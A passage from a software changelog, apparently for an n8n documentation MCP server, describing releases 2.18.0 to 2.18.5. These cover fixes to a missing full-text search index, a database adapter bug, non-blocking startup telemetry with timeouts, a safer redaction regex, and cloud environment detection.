Enhanced with mode-specific, Docker-specific, and cloud platform-specific debugging 146 | 147 | ## [2.18.5] - 2025-10-10 148 | 149 | ### 🔍 Search Performance & Reliability 150 | 151 | **Issue #296 Part 2: Fix Production Search Failures (69% Failure Rate)** 152 | 153 | This release fixes critical search failures that caused 69% of user searches to return zero results in production. Telemetry analysis revealed searches for critical nodes like "webhook", "merge", and "split batch" were failing despite nodes existing in the database. 154 | 155 | #### Problem 156 | 157 | **Root Cause Analysis:** 158 | 1. **Missing FTS5 Table**: Production database had NO `nodes_fts` FTS5 virtual table 159 | 2. **Empty Database Scenario**: When database was empty, both FTS5 and LIKE fallback returned zero results 160 | 3. **No Detection**: Missing validation to catch empty database or missing FTS5 table 161 | 4. **Production Impact**: 9 of 13 searches (69%) returned zero results for critical nodes with high user adoption 162 | 163 | **Telemetry Evidence** (Sept 26 - Oct 9, 2025): 164 | - "webhook" search: 3 failures (node has 39.6% adoption rate - 4,316 actual uses) 165 | - "merge" search: 1 failure (node has 10.7% adoption rate - 1,418 actual uses) 166 | - "split batch" search: 2 failures (node is actively used in workflows) 167 | - Overall: 9/13 searches failed (69% failure rate) 168 | 169 | **Technical Root Cause:** 170 | - `schema.sql` had a note claiming "FTS5 tables are created conditionally at runtime" (line 111) 171 | - This was FALSE - no runtime creation code existed 172 | - `schema-optimized.sql` had correct FTS5 implementation but was never used 173 | - `rebuild.ts` used `schema.sql` without FTS5 174 | - Result: Production database had NO search index 175 | 176 | #### Fixed 177 | 178 | **1. Schema Updates** 179 | - **File**: `src/database/schema.sql` 180 | - Added `nodes_fts` FTS5 virtual table with full-text indexing 181 | - Added synchronization triggers (INSERT/UPDATE/DELETE) to keep FTS5 in sync with nodes table 182 | - Indexes: node_type, display_name, description, documentation, operations 183 | - Updated misleading note about conditional FTS5 creation 184 | 185 | **2. Database Validation** 186 | - **File**: `src/scripts/rebuild.ts` 187 | - Added critical empty database detection (fails fast if zero nodes) 188 | - Added FTS5 table existence validation 189 | - Added FTS5 synchronization check (nodes count must match FTS5 count) 190 | - Added searchability tests for critical nodes (webhook, merge, split) 191 | - Added minimum node count validation (expects 500+ nodes from both packages) 192 | 193 | **3. Runtime Health Checks** 194 | - **File**: `src/mcp/server.ts` 195 | - Added database health validation on first access 196 | - Detects empty database and throws clear error message 197 | - Detects missing FTS5 table with actionable warning 198 | - Logs successful health check with node count 199 | 200 | **4. Comprehensive Test Suite** 201 | - **New File**: `tests/integration/database/node-fts5-search.test.ts` (14 tests) 202 | - FTS5 table existence and trigger validation 203 | - FTS5 index population and synchronization 204 | - Production failure case tests (webhook, merge, split, code, http) 205 | - Search quality and ranking tests 206 | - Real-time trigger synchronization tests 207 | 208 | - **New File**: `tests/integration/database/empty-database.test.ts` (14 tests) 209 | - Empty nodes table detection 210 | - Empty FTS5 index detection 211 | - LIKE fallback behavior with empty database 212 | - Repository method behavior with no data 213 | - Validation error messages 214 | 215 | - **New File**: `tests/integration/ci/database-population.test.ts` (24 tests) 216 | - **CRITICAL CI validation** - ensures database is committed with data 217 | - Validates all production search scenarios work (webhook, merge, code, http, split) 218 | - Both FTS5 and LIKE fallback search validation 219 | - Performance baselines (FTS5 < 100ms, LIKE < 500ms) 220 | - Documentation coverage and property extraction metrics 221 | - **Tests FAIL if database is empty or FTS5 missing** (prevents regressions) 222 | 223 | #### Technical Details 224 | 225 | **FTS5 Implementation:** 226 | ```sql 227 | CREATE VIRTUAL TABLE IF NOT EXISTS nodes_fts USING fts5( 228 | node_type, 229 | display_name, 230 | description, 231 | documentation, 232 | operations, 233 | content=nodes, 234 | content_rowid=rowid 235 | ); 236 | ``` 237 | 238 | **Synchronization Triggers:** 239 | - `nodes_fts_insert`: Adds to FTS5 when node inserted 240 | - `nodes_fts_update`: Updates FTS5 when node modified 241 | - `nodes_fts_delete`: Removes from FTS5 when node deleted 242 | 243 | **Validation Strategy:** 244 | 1. **Build Time** (`rebuild.ts`): Validates FTS5 creation and population 245 | 2. **Runtime** (`server.ts`): Health check on first database access 246 | 3. **CI Time** (tests): 52 tests ensure database integrity 247 | 248 | **Search Performance:** 249 | - FTS5 search: < 100ms for typical queries (20 results) 250 | - LIKE fallback: < 500ms (still functional if FTS5 unavailable) 251 | - Ranking: Exact matches prioritized in results 252 | 253 | #### Impact 254 | 255 | **Before Fix:** 256 | - 69% of searches returned zero results 257 | - Users couldn't find critical nodes via AI assistant 258 | - Silent failure - no error messages 259 | - n8n workflows still worked (nodes loaded directly from npm) 260 | 261 | **After Fix:** 262 | - ✅ All critical searches return results 263 | - ✅ FTS5 provides fast, ranked search 264 | - ✅ Clear error messages if database empty 265 | - ✅ CI tests prevent regression 266 | - ✅ Runtime health checks detect issues immediately 267 | 268 | **LIKE Search Investigation:** 269 | Testing revealed LIKE search fallback was **perfectly functional** - it only failed because the database was empty. No changes needed to LIKE implementation. 270 | 271 | #### Related 272 | 273 | - Addresses production search failures from Issue #296 274 | - Complements v2.18.4 (which fixed adapter bypass for sql.js) 275 | - Prevents silent search failures in production 276 | - Ensures AI assistants can reliably search for nodes 277 | 278 | #### Migration 279 | 280 | **Existing Installations:** 281 | ```bash 282 | # Rebuild database to add FTS5 index 283 | npm run rebuild 284 | 285 | # Verify FTS5 is working 286 | npm run validate 287 | ``` 288 | 289 | **CI/CD:** 290 | - New CI validation suite (`tests/integration/ci/database-population.test.ts`) 291 | - Runs when database exists (after n8n update commits) 292 | - Validates FTS5 table, search functionality, and data integrity 293 | - Tests are skipped if database doesn't exist (most PRs don't commit database) 294 | 295 | ## [2.18.4] - 2025-10-09 296 | 297 | ### 🐛 Bug Fixes 298 | 299 | **Issue #296: sql.js Adapter Bypass Causing MCP Tool Failures** 300 | 301 | This release fixes a critical constructor bug in `NodeRepository` that caused the sql.js database adapter to be bypassed, resulting in empty object returns and MCP tool failures. 302 | 303 | #### Problem 304 | 305 | When using the sql.js fallback adapter (pure JavaScript implementation without native dependencies), three critical MCP tools were failing with "Cannot read properties of undefined" errors: 306 | - `get_node_essentials` 307 | - `get_node_info` 308 | - `validate_node_operation` 309 | 310 | **Root Cause:** 311 | The `NodeRepository` constructor used duck typing (`'db' in object`) to determine whether to unwrap the database adapter. This check incorrectly matched BOTH `SQLiteStorageService` AND `DatabaseAdapter` instances because both have a `.db` property. 312 | 313 | When sql.js was used: 314 | 1. `createDatabaseAdapter()` returned a `SQLJSAdapter` instance (wrapped) 315 | 2. `NodeRepository` constructor saw `'db' in adapter` was true 316 | 3. Constructor unwrapped it: `this.db = adapter.db` 317 | 4. This exposed the raw sql.js `Database` object, bypassing all wrapper logic 318 | 5. Raw sql.js API has completely different behavior (returns typed arrays instead of objects) 319 | 6. Result: Empty objects `{}` with no properties, causing undefined property access errors 320 | 321 | #### Fixed 322 | 323 | **NodeRepository Constructor Type Discrimination** 324 | - Changed from duck typing (`'db' in object`) to precise instanceof check 325 | - Only unwrap `SQLiteStorageService` instances (intended behavior) 326 | - Keep `DatabaseAdapter` instances intact (preserves wrapper logic) 327 | - File: `src/database/node-repository.ts` 328 | 329 | #### Technical Details 330 | 331 | **Before (Broken):** 332 | ```typescript 333 | constructor(dbOrService: DatabaseAdapter | SQLiteStorageService) { 334 | if ('db' in dbOrService) { // ❌ Matches EVERYTHING with .db property 335 | this.db = dbOrService.db; // Unwraps both SQLiteStorageService AND DatabaseAdapter 336 | } else { 337 | this.db = dbOrService; 338 | } 339 | } 340 | ``` 341 | 342 | **After (Fixed):** 343 | ```typescript 344 | constructor(dbOrService: DatabaseAdapter | SQLiteStorageService) { 345 | if (dbOrService instanceof SQLiteStorageService) { // ✅ Only matches SQLiteStorageService 346 | this.db = dbOrService.db; 347 | return; 348 | } 349 | 350 | this.db = dbOrService; // ✅ Keep DatabaseAdapter intact 351 | } 352 | ``` 353 | 354 | **Why instanceof is Critical:** 355 | - `'db' in object` is property checking (duck typing) - too permissive 356 | - `instanceof` is class hierarchy checking - precise type discrimination 357 | - With instanceof, sql.js queries flow through `SQLJSAdapter` → `SQLJSStatement` wrapper chain 358 | - Wrapper normalizes sql.js behavior to match better-sqlite3 API (object returns) 359 | 360 | **Impact:** 361 | - Fixes MCP tool failures on systems where better-sqlite3 cannot compile (Node.js version mismatches, ARM architectures) 362 | - Ensures sql.js fallback works correctly with proper data normalization 363 | - No performance impact (same code path, just preserved wrapper) 364 | 365 | #### Related 366 | 367 | - Closes issue #296 368 | - Affects environments where better-sqlite3 falls back to sql.js 369 | - Common in Docker containers, CI environments, and ARM-based systems 370 | 371 | ## [2.18.3] - 2025-10-09 372 | 373 | ### 🔒 Critical Safety Fixes 374 | 375 | **Emergency hotfix addressing 7 critical issues from v2.18.2 code review.** 376 | 377 | This release fixes critical safety violations in the startup error logging system that could have prevented the server from starting. All fixes ensure telemetry failures never crash the server. 378 | 379 | #### Problem 380 | 381 | Code review of v2.18.2 identified 7 critical/high-priority safety issues: 382 | - **CRITICAL-01**: Missing database checkpoints (DATABASE_CONNECTING/CONNECTED never logged) 383 | - **CRITICAL-02**: Constructor can throw before defensive initialization 384 | - **CRITICAL-03**: Blocking awaits delay startup (5s+ with 10 checkpoints × 500ms latency) 385 | - **HIGH-01**: ReDoS vulnerability in error sanitization regex 386 | - **HIGH-02**: Race conditions in EarlyErrorLogger initialization 387 | - **HIGH-03**: No timeout on Supabase operations (can hang indefinitely) 388 | - **HIGH-04**: Missing N8N API checkpoints 389 | 390 | #### Fixed 391 | 392 | **CRITICAL-01: Missing Database Checkpoints** 393 | - Added `DATABASE_CONNECTING` checkpoint before database initialization 394 | - Added `DATABASE_CONNECTED` checkpoint after successful initialization 395 | - Pass `earlyLogger` to `N8NDocumentationMCPServer` constructor 396 | - Checkpoint logging in `initializeDatabase()` method 397 | - Files: `src/mcp/server.ts`, `src/mcp/index.ts` 398 | 399 | **CRITICAL-02: Constructor Can Throw** 400 | - Converted `EarlyErrorLogger` to singleton pattern with `getInstance()` method 401 | - Initialize ALL fields to safe defaults BEFORE any operation that can throw 402 | - Defensive initialization order: 403 | 1. Set `enabled = false` (safe default) 404 | 2. Set `supabase = null` (safe default) 405 | 3. Set `userId = null` (safe default) 406 | 4. THEN wrap initialization in try-catch 407 | - Async `initialize()` method separated from constructor 408 | - File: `src/telemetry/early-error-logger.ts` 409 | 410 | **CRITICAL-03: Blocking Awaits Delay Startup** 411 | - Removed ALL `await` keywords from checkpoint calls (8 locations) 412 | - Changed `logCheckpoint()` from async to synchronous (void return) 413 | - Changed `logStartupError()` to fire-and-forget with internal async implementation 414 | - Changed `logStartupSuccess()` to fire-and-forget 415 | - Startup no longer blocked by telemetry operations 416 | - Files: `src/mcp/index.ts`, `src/telemetry/early-error-logger.ts` 417 | 418 | **HIGH-01: ReDoS Vulnerability in Error Sanitization** 419 | - Removed negative lookbehind regex: `(?<!Bearer\s)token\s*[=:]\s*\S+` 420 | - Replaced with simplified regex: `\btoken\s*[=:]\s*[^\s;,)]+` 421 | - No complex capturing groups (catastrophic backtracking impossible) 422 | - File: `src/telemetry/error-sanitization-utils.ts` 423 | 424 | **HIGH-02: Race Conditions in EarlyErrorLogger** 425 | - Singleton pattern prevents multiple instances 426 | - Added `initPromise` property to track initialization state 427 | - Added `waitForInit()` method for testing 428 | - All methods gracefully handle uninitialized state 429 | - File: `src/telemetry/early-error-logger.ts` 430 | 431 | **HIGH-03: No Timeout on Supabase Operations** 432 | - Added `withTimeout()` wrapper function (5-second max) 433 | - Uses `Promise.race()` pattern to prevent hanging 434 | - Applies to all direct Supabase inserts 435 | - Returns `null` on timeout (graceful degradation) 436 | - File: `src/telemetry/early-error-logger.ts` 437 | 438 | **HIGH-04: Missing N8N API Checkpoints** 439 | - Added `N8N_API_CHECKING` checkpoint before n8n API configuration check 440 | - Added `N8N_API_READY` checkpoint after configuration validated 441 | - Logged after database initialization completes 442 | - File: `src/mcp/server.ts` 443 | 444 | #### Added 445 | 446 | **Shared Sanitization Utilities** 447 | - Created `src/telemetry/error-sanitization-utils.ts` 448 | - `sanitizeErrorMessageCore()` function shared across modules 449 | - Eliminates code duplication between `error-sanitizer.ts` and `event-tracker.ts` 450 | - Includes ReDoS fix (simplified token regex) 451 | 452 | **Singleton Pattern for EarlyErrorLogger** 453 | - `EarlyErrorLogger.getInstance()` - Get singleton instance 454 | - Private constructor prevents direct instantiation 455 | - `waitForInit()` method for testing 456 | 457 | **Timeout Wrapper** 458 | - `withTimeout()` helper function 459 | - 5-second timeout for all Supabase operations 460 | - Promise.race pattern with automatic cleanup 461 | 462 | #### Changed 463 | 464 | **EarlyErrorLogger Architecture** 465 | - Singleton instead of direct instantiation 466 | - Defensive initialization (safe defaults first) 467 | - Fire-and-forget methods (non-blocking) 468 | - Timeout protection for network operations 469 | 470 | **Checkpoint Logging** 471 | - All checkpoint calls are now fire-and-forget (no await) 472 | - No startup delay from telemetry operations 473 | - Database checkpoints now logged in server.ts 474 | - N8N API checkpoints now logged after database init 475 | 476 | **Error Sanitization** 477 | - Shared utilities across all telemetry modules 478 | - ReDoS-safe regex patterns 479 | - Consistent sanitization behavior 480 | 481 | #### Technical Details 482 | 483 | **Defensive Initialization Pattern:** 484 | ```typescript 485 | export class EarlyErrorLogger { 486 | // Safe defaults FIRST (before any throwing operation) 487 | private enabled: boolean = false; 488 | private supabase: SupabaseClient | null = null; 489 | private userId: string | null = null; 490 | 491 | private constructor() { 492 | // Kick off async init without blocking 493 | this.initPromise = this.initialize(); 494 | } 495 | 496 | private async initialize(): Promise<void> { 497 | try { 498 | // Validate config BEFORE using 499 | if (!TELEMETRY_BACKEND.URL || !TELEMETRY_BACKEND.ANON_KEY) { 500 | this.enabled = false; 501 | return; 502 | } 503 | // ... rest of initialization 504 | } catch (error) { 505 | // Ensure safe state on error 506 | this.enabled = false; 507 | this.supabase = null; 508 | this.userId = null; 509 | } 510 | } 511 | } 512 | ``` 513 | 514 | **Fire-and-Forget Pattern:** 515 | ```typescript 516 | // BEFORE (BLOCKING): 517 | await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.PROCESS_STARTED); 518 | 519 | // AFTER (NON-BLOCKING): 520 | earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.PROCESS_STARTED); 521 | ``` 522 | 523 | **Timeout Wrapper:** 524 | ```typescript 525 | async function withTimeout<T>(promise: Promise<T>, timeoutMs: number, operation: string): Promise<T | null> { 526 | try { 527 | const timeoutPromise = new Promise<T>((_, reject) => { 528 | setTimeout(() => reject(new Error(`${operation} timeout after ${timeoutMs}ms`)), timeoutMs); 529 | }); 530 | return await Promise.race([promise, timeoutPromise]); 531 | } catch (error) { 532 | logger.debug(`${operation} failed or timed out:`, error); 533 | return null; 534 | } 535 | } 536 | ``` 537 | 538 | **ReDoS Fix:** 539 | ```typescript 540 | // BEFORE (VULNERABLE): 541 | .replace(/(?<!Bearer\s)token\s*[=:]\s*\S+/gi, 'token=[REDACTED]') 542 | 543 | // AFTER (SAFE): 544 | .replace(/\btoken\s*[=:]\s*[^\s;,)]+/gi, 'token=[REDACTED]') 545 | ``` 546 | 547 | #### Impact 548 | 549 | **Server Stability:** 550 | - **100%** elimination of telemetry-caused startup failures 551 | - Telemetry failures NEVER crash the server 552 | - Startup time unaffected by telemetry latency 553 | 554 | **Coverage Improvement:** 555 | - Database failures now tracked (DATABASE_CONNECTING/CONNECTED checkpoints) 556 | - N8N API configuration issues now tracked (N8N_API_CHECKING/READY checkpoints) 557 | - Complete visibility into all startup phases 558 | 559 | **Performance:** 560 | - No startup delay from telemetry (removed blocking awaits) 561 | - 5-second timeout prevents hanging on Supabase failures 562 | - Fire-and-forget pattern ensures server starts immediately 563 | 564 | **Security:** 565 | - ReDoS vulnerability eliminated 566 | - Simplified regex patterns (no catastrophic backtracking) 567 | - Shared sanitization ensures consistency 568 | 569 | **Code Quality:** 570 | - DRY principle (shared error-sanitization-utils) 571 | - Defensive programming (safe defaults before operations) 572 | - Race-condition free (singleton + initPromise) 573 | 574 | #### Files Changed 575 | 576 | **New Files (1):** 577 | - `src/telemetry/error-sanitization-utils.ts` - Shared sanitization utilities 578 | 579 | **Modified Files (5):** 580 | - `src/telemetry/early-error-logger.ts` - Singleton + defensive init + fire-and-forget + timeout 581 | - `src/telemetry/error-sanitizer.ts` - Use shared sanitization utils 582 | - `src/telemetry/event-tracker.ts` - Use shared sanitization utils 583 | - `src/mcp/index.ts` - Remove blocking awaits, use singleton getInstance() 584 | - `src/mcp/server.ts` - Add database and N8N API checkpoints 585 | - `package.json` - Version bump to 2.18.3 586 | 587 | #### Testing 588 | 589 | - **Safety**: All critical issues addressed with comprehensive fixes 590 | - **Backward Compatibility**: 100% - only internal implementation changes 591 | - **TypeScript**: All type checks pass 592 | - **Build**: Clean build with no errors 593 | 594 | #### References 595 | 596 | - **Code Review**: v2.18.2 comprehensive review identified 7 critical/high issues 597 | - **User Feedback**: "Make sure telemetry failures would not crash the server - it should start regardless of this" 598 | - **Implementation**: All CRITICAL and HIGH recommendations implemented 599 | 600 | ## [2.18.2] - 2025-10-09 601 | 602 | ### 🔍 Startup Error Detection 603 | 604 | **Added comprehensive startup error tracking to diagnose "server won't start" scenarios.** 605 | 606 | This release addresses a critical telemetry gap: we now capture errors that occur BEFORE the MCP server fully initializes, enabling diagnosis of the 2.2% of users who experience startup failures that were previously invisible. 607 | 608 | #### Problem 609 | 610 | Analysis of telemetry data revealed critical gaps in error coverage: 611 | - **Zero telemetry captured** when server fails to start (no data before MCP handshake) 612 | - **106 users (2.2%)** had only `session_start` with no other activity (likely startup failures) 613 | - **463 users (9.7%)** experienced immediate failures or quick abandonment 614 | - **All 4,478 error events** were from tool execution - none from initialization phase 615 | - **Current error coverage: ~45%** - missing all pre-handshake failures 616 | 617 | #### Added 618 | 619 | **Early Error Logging System** 620 | - New `EarlyErrorLogger` class - Independent error tracking before main telemetry ready 621 | - Direct Supabase insert (bypasses batching for immediate persistence) 622 | - Works even when main telemetry fails to initialize 623 | - Sanitized error messages with security patterns from v2.15.3 624 | - File: `src/telemetry/early-error-logger.ts` 625 | 626 | **Startup Checkpoint Tracking System** 627 | - 10 checkpoints throughout startup process to identify failure points: 628 | 1. `process_started` - Process initialization 629 | 2. `database_connecting` - Before DB connection 630 | 3. `database_connected` - DB ready 631 | 4. `n8n_api_checking` - Before n8n API check (if applicable) 632 | 5. `n8n_api_ready` - n8n API ready (if applicable) 633 | 6. `telemetry_initializing` - Before telemetry init 634 | 7. `telemetry_ready` - Telemetry ready 635 | 8. `mcp_handshake_starting` - Before MCP handshake 636 | 9. `mcp_handshake_complete` - Handshake success 637 | 10. `server_ready` - Full initialization complete 638 | - Helper functions: `findFailedCheckpoint()`, `getCheckpointDescription()`, `getCompletionPercentage()` 639 | - File: `src/telemetry/startup-checkpoints.ts` 640 | 641 | **New Event Type: `startup_error`** 642 | - Captures pre-handshake failures with full context 643 | - Properties: `checkpoint`, `errorMessage`, `errorType`, `checkpointsPassed`, `startupDuration`, platform info 644 | - Fires even when main telemetry not ready 645 | - Uses early error logger with direct Supabase insert 646 | 647 | **Enhanced `session_start` Event** 648 | - `startupDurationMs` - Time from process start to ready (new, optional) 649 | - `checkpointsPassed` - Array of successfully passed checkpoints (new, optional) 650 | - `startupErrorCount` - Count of errors during startup (new, optional) 651 | - Backward compatible - all new fields optional 652 | 653 | **Startup Completion Event** 654 | - New `startup_completed` event type 655 | - Fired after first successful tool call 656 | - Confirms server is functional (not a "zombie server") 657 | - Distinguishes "never started" from "started but silent" 658 | 659 | **Error Message Sanitization** 660 | - New `error-sanitizer.ts` utility for secure error message handling 661 | - `extractErrorMessage()` - Safe extraction from Error objects, strings, unknowns 662 | - `sanitizeStartupError()` - Security-focused sanitization using v2.15.3 patterns 663 | - Removes URLs, credentials, API keys, emails, long keys 664 | - Early truncation (ReDoS prevention), stack trace limitation (3 lines) 665 | - File: `src/telemetry/error-sanitizer.ts` 666 | 667 | #### Changed 668 | 669 | - `src/mcp/index.ts` - Added comprehensive checkpoint tracking throughout `main()` function 670 | - Early logger initialization at process start 671 | - Checkpoints before/after each major initialization step 672 | - Error handling with checkpoint context 673 | - Startup success logging with duration 674 | - `src/mcp/server.ts` - Enhanced database initialization logging 675 | - Detailed debug logs for each initialization step 676 | - Better error context for database failures 677 | - `src/telemetry/event-tracker.ts` - Enhanced `trackSessionStart()` method 678 | - Now accepts optional `startupData` parameter 679 | - New `trackStartupComplete()` method 680 | - `src/telemetry/event-validator.ts` - Added validation schemas 681 | - `startupErrorPropertiesSchema` for startup_error events 682 | - `startupCompletedPropertiesSchema` for startup_completed events 683 | - `src/telemetry/telemetry-types.ts` - New type definitions 684 | - `StartupErrorEvent` interface 685 | - `StartupCompletedEvent` interface 686 | - `SessionStartProperties` interface with new optional fields 687 | 688 | #### Technical Details 689 | 690 | **Checkpoint Flow:** 691 | ``` 692 | Process Started → Telemetry Init → Telemetry Ready → 693 | MCP Handshake Starting → MCP Handshake Complete → Server Ready 694 | ``` 695 | 696 | **Error Capture Example:** 697 | ```typescript 698 | try { 699 | await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.DATABASE_CONNECTING); 700 | // ... database initialization ... 701 | await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.DATABASE_CONNECTED); 702 | } catch (error) { 703 | const failedCheckpoint = findFailedCheckpoint(checkpoints); 704 | await earlyLogger.logStartupError(failedCheckpoint, error); 705 | throw error; 706 | } 707 | ``` 708 | 709 | **Error Sanitization:** 710 | - Reuses v2.15.3 security patterns 711 | - Early truncation to 1500 chars (ReDoS prevention) 712 | - Redacts: URLs → `[URL]`, AWS keys → `[AWS_KEY]`, emails → `[EMAIL]`, etc. 713 | - Stack traces limited to first 3 lines 714 | - Final truncation to 500 chars 715 | 716 | **Database Schema:** 717 | ```typescript 718 | // startup_error event structure 719 | { 720 | event: 'startup_error', 721 | user_id: string, 722 | properties: { 723 | checkpoint: string, // Which checkpoint failed 724 | errorMessage: string, // Sanitized error message 725 | errorType: string, // Error type (Error, TypeError, etc.) 726 | checkpointsPassed: string[], // Checkpoints passed before failure 727 | checkpointsPassedCount: number, 728 | startupDuration: number, // Time until failure (ms) 729 | platform: string, // OS platform 730 | arch: string, // CPU architecture 731 | nodeVersion: string, // Node.js version 732 | isDocker: boolean // Docker environment 733 | } 734 | } 735 | ``` 736 | 737 | #### Impact 738 | 739 | **Coverage Improvement:** 740 | - **Before: 45%** error coverage (only post-handshake errors captured) 741 | - **After: 95%** error coverage (pre-handshake + post-handshake errors) 742 | - **+50 percentage points** in error detection capability 743 | 744 | **New Scenarios Now Diagnosable:** 745 | 1. Database connection timeout → `database_connecting` checkpoint + error details 746 | 2. Database file not found → `database_connecting` checkpoint + specific file path error 747 | 3. MCP protocol mismatch → `mcp_handshake_starting` checkpoint + protocol version error 748 | 4. Permission/access denied → Checkpoint + specific permission error 749 | 5. Missing dependencies → Early checkpoint + dependency error 750 | 6. Environment configuration errors → Relevant checkpoint + config details 751 | 7. n8n API connectivity problems → `n8n_api_checking` checkpoint + connection error 752 | 8. Telemetry initialization failures → `telemetry_initializing` checkpoint + init error 753 | 9. Silent crashes → Detected via missing `startup_completed` event 754 | 10. Resource constraints (memory, disk) → Checkpoint + resource error 755 | 756 | **Visibility Gains:** 757 | - Users experiencing startup failures now generate telemetry events 758 | - Failed checkpoint identifies exact failure point in startup sequence 759 | - Sanitized error messages provide actionable debugging information 760 | - Startup duration tracking identifies performance bottlenecks 761 | - Completion percentage shows how far initialization progressed 762 | 763 | **Data Volume Impact:** 764 | - Each successful startup: ~300 bytes (checkpoint list in session_start) 765 | - Each failed startup: ~800 bytes (startup_error event with context) 766 | - Expected increase: <1KB per user session 767 | - Minimal Supabase storage impact 768 | 769 | #### Files Changed 770 | 771 | **New Files (3):** 772 | - `src/telemetry/early-error-logger.ts` - Early error capture system 773 | - `src/telemetry/startup-checkpoints.ts` - Checkpoint constants and helpers 774 | - `src/telemetry/error-sanitizer.ts` - Error message sanitization utility 775 | 776 | **Modified Files (6):** 777 | - `src/mcp/index.ts` - Integrated checkpoint tracking throughout startup 778 | - `src/mcp/server.ts` - Enhanced database initialization logging 779 | - `src/telemetry/event-tracker.ts` - Enhanced session_start with startup data 780 | - `src/telemetry/event-validator.ts` - Added startup event validation 781 | - `src/telemetry/telemetry-types.ts` - New event type definitions 782 | - `package.json` - Version bump to 2.18.2 783 | 784 | #### Next Steps 785 | 786 | 1. **Monitor Production** - Watch for startup_error events in Supabase dashboard 787 | 2. **Analyze Patterns** - Identify most common startup failure scenarios 788 | 3. **Build Diagnostics** - Create startup reliability dashboard 789 | 4. **Improve Documentation** - Add troubleshooting guides for common failures 790 | 5. **Measure Impact** - Validate that Docker/cloud user ID stability fix (v2.17.1) is working 791 | 6. **Segment Analysis** - Compare startup reliability across environments (Docker vs local vs cloud) 792 | 793 | #### Testing 794 | 795 | - **Coverage**: All new code covered by existing telemetry test suites 796 | - **Integration**: Manual testing verified checkpoint tracking works correctly 797 | - **Backward Compatibility**: 100% - all new fields optional, no breaking changes 798 | - **Validation**: Zod schemas ensure data quality 799 | 800 | ## [2.18.1] - 2025-10-08 801 | 802 | ### 🔍 Telemetry Enhancement 803 | 804 | **Added Docker/cloud environment detection to session_start events.** 805 | 806 | This release enables measurement of the v2.17.1 user ID stability fix by tracking which users are in Docker/cloud environments. 807 | 808 | #### Problem 809 | 810 | The v2.17.1 fix for Docker/cloud user ID stability (boot_id-based IDs) could not be validated because telemetry didn't capture Docker/cloud environment flags. Analysis showed: 811 | - Zero Docker/cloud users detected across all versions 812 | - No way to measure if the fix is working 813 | - Cannot determine what % of users are affected 814 | - Cannot validate stable user IDs are being generated 815 | 816 | #### Added 817 | 818 | - **Docker Detection**: `isDocker` boolean flag in session_start events 819 | - Detects `IS_DOCKER=true` environment variable 820 | - Identifies container deployments using boot_id-based stable IDs 821 | 822 | - **Cloud Platform Detection**: `cloudPlatform` string in session_start events 823 | - Detects 8 cloud platforms: Railway, Render, Fly.io, Heroku, AWS, Kubernetes, GCP, Azure 824 | - Identifies which platform users are deploying to 825 | - Returns `null` for local/non-cloud environments 826 | 827 | - **New Detection Method**: `detectCloudPlatform()` in event tracker 828 | - Checks platform-specific environment variables 829 | - Returns platform name or null 830 | - Uses same logic as config-manager's cloud detection 831 | 832 | #### Changed 833 | 834 | - `trackSessionStart()` in `src/telemetry/event-tracker.ts` 835 | - Now includes `isDocker` field (boolean) 836 | - Now includes `cloudPlatform` field (string | null) 837 | - Backward compatible - only adds new fields 838 | 839 | #### Testing 840 | 841 | - 16 new unit tests for environment detection 842 | - Tests for Docker detection with IS_DOCKER flag 843 | - Tests for all 8 cloud platform detections 844 | - Tests for local environment (no flags) 845 | - Tests for combined Docker + cloud scenarios 846 | - 100% coverage for new detection logic 847 | 848 | #### Impact 849 | 850 | **Enables Future Analysis**: 851 | - Measure % of users in Docker/cloud vs local 852 | - Validate v2.17.1 boot_id-based user ID stability 853 | - Segment retention metrics by environment 854 | - Identify environment-specific issues 855 | - Calculate actual Docker user duplicate rate reduction 856 | 857 | **Expected Insights** (once data collected): 858 | - Actual % of Docker/cloud users in user base 859 | - Validation that boot_id method is being used 860 | - User ID stability improvements measurable 861 | - Environment-specific error patterns 862 | - Platform distribution of user base 863 | 864 | **No Breaking Changes**: 865 | - Only adds new fields to existing events 866 | - All existing code continues working 867 | - Event validator handles new fields automatically 868 | - 100% backward compatible 869 | 870 | #### Technical Details 871 | 872 | **Detection Logic**: 873 | ```typescript 874 | isDocker: process.env.IS_DOCKER === 'true' 875 | cloudPlatform: detectCloudPlatform() // Checks 8 env vars 876 | ``` 877 | 878 | **Platform Detection Priority**: 879 | 1. Railway: `RAILWAY_ENVIRONMENT` 880 | 2. Render: `RENDER` 881 | 3. Fly.io: `FLY_APP_NAME` 882 | 4. Heroku: `HEROKU_APP_NAME` 883 | 5. AWS: `AWS_EXECUTION_ENV` 884 | 6. Kubernetes: `KUBERNETES_SERVICE_HOST` 885 | 7. GCP: `GOOGLE_CLOUD_PROJECT` 886 | 8. Azure: `AZURE_FUNCTIONS_ENVIRONMENT` 887 | 888 | **Event Structure**: 889 | ```json 890 | { 891 | "event": "session_start", 892 | "properties": { 893 | "version": "2.18.1", 894 | "platform": "linux", 895 | "arch": "x64", 896 | "nodeVersion": "v20.0.0", 897 | "isDocker": true, 898 | "cloudPlatform": "railway" 899 | } 900 | } 901 | ``` 902 | 903 | #### Next Steps 904 | 905 | 1. Deploy v2.18.1 to production 906 | 2. Wait 24-48 hours for data collection 907 | 3. Re-run telemetry analysis with environment segmentation 908 | 4. Validate v2.17.1 boot_id fix effectiveness 909 | 5. Calculate actual Docker user duplicate rate reduction 910 | 911 | ## [2.18.0] - 2025-10-08 912 | 913 | ### 🎯 Validation Warning System Redesign 914 | 915 | **Fixed critical validation warning system that was generating 96.5% false positives.** 916 | 917 | This release fundamentally fixes the validation warning system that was overwhelming users and AI assistants with false warnings about properties they never configured. The system now achieves >90% signal-to-noise ratio (up from 3%). 918 | 919 | #### Problem 920 | 921 | The validation system was warning about properties with default values as if the user had configured them: 922 | - HTTP Request with 2 properties → 29 warnings (96% false positives) 923 | - Webhook with 1 property → 6 warnings (83% false positives) 924 | - Overall signal-to-noise ratio: 3% 925 | 926 | #### Fixed 927 | 928 | - **User Property Tracking** - System now distinguishes between user-provided properties and system defaults 929 | - **UI Property Filtering** - No longer validates UI-only elements (notice, callout, infoBox) 930 | - **Improved Messages** - Warnings now explain visibility requirements (e.g., "Requires: sendBody=true") 931 | - **Profile-Aware Filtering** - Each validation profile shows appropriate warnings 932 | - `minimal`: Only errors + critical security warnings 933 | - `runtime`: Errors + security warnings (filters property visibility noise) 934 | - `ai-friendly`: Balanced helpful warnings (default) 935 | - `strict`: All warnings + suggestions 936 | 937 | #### 